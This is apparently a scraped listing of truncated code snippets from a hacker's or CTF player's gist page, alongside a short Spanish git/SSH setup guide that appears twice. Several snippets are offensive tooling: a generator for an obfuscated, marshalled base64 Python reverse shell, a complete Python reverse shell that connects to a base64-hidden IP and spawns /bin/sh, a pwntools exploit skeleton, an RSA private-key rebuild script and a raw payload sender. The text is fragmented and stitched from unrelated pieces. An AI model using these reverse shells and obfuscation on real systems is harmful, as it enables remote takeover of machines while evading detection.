Guia para git dummies Crear el repositorio. Generar la key ssh:
ssh-keygen -t rsa -C "correo@dominio.com"
Copiar ~/.ssh/id_rsa.pub a la configuración de la cuenta de GitHub. Probar SSH:
ssh -T git@github.com
#1. generate obfuscated marshalled b64 | |
import marshal, binascii, base64 | |
IP = "127.0.0.1" | |
PORT = 1234 | |
code = f""" | |
import socket,subprocess,os | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect(("{IP}", {PORT})) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) |
from pwn import * | |
context(arch='x86_64', os='linux') | |
context.terminal = ['tmux', 'splitw', '-h'] | |
LOCAL = False | |
REMOTETTCP = True | |
REMOTESSH = False | |
GDB = False | |
local_bin = "./climb" |
#!/usr/bin/python | |
import pyasn1.codec.der.encoder | |
import pyasn1.type.univ | |
import base64 | |
# present values on key.pem | |
e = 0x010001 | |
n = 0xC4B07FEFC8E36C05C0DA434221AEBF47DBF70E5189AD892408F3AD81182A9E0700A07C9D7C66C86C7A39602123EE0F605613DE97FDE49FE68396EE0AF3F5F5F3 | |
p = 106173580239682931389627142547722999257831171755485751420548914984291463023277 |
import base64 | |
import socket,subprocess,os | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect((base64.b64decode("base64_str_IP"),4444)) | |
os.dup2(s.fileno(),0); | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
p=subprocess.call(["/bin/sh","-i"]) |
import socket | |
TCP_IP = '127.0.0.1' | |
TCP_PORT = 9999 | |
BUFFER_SIZE = 1024 | |
data = b"\x68\x16\x16\x68\x08\x00\x65\x81\x65\x00\x64\x00\x01\x01\x00\x1a\xb5\x13\x8b\x57\x07\x12\x00\x00\x00\x00\x96\x16" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((TCP_IP, TCP_PORT)) | |
s.send(data) | |
s.close() |
#!/usr/bin/env python | |
import argparse | |
# from skeleton.users import models | |
# from sqlalchemy.exc import SQLAlchemyError | |
# from collections import Counter | |
import json | |
import sys | |
import requests | |
""" |
Guia para git dummies Crear el repositorio. Generar la key ssh:
ssh-keygen -t rsa -C "correo@dominio.com"
Copiar ~/.ssh/id_rsa.pub a la configuración de la cuenta de GitHub. Probar SSH:
ssh -T git@github.com
#!/usr/bin/env python | |
""" | |
mediumRE from | |
compare algorithm | |
for ( i = 0; strlen(input) > i && i <= 29; ++i ) | |
{ | |
if ( enc[i] == input[i] * fibo[i] + i ) | |
++cnt; | |
} |
#!/bin/bash | |
for flags in {1..45}; do echo "$flags: $(openssl rand -hex 16)" >> passwords && for lines in $(cut -f 2 -d ":" passwords); do echo "flag{$lines}" > /home/reto/flag_$flags.txt; done;done |
I hereby claim:
To claim this, I am signing this object: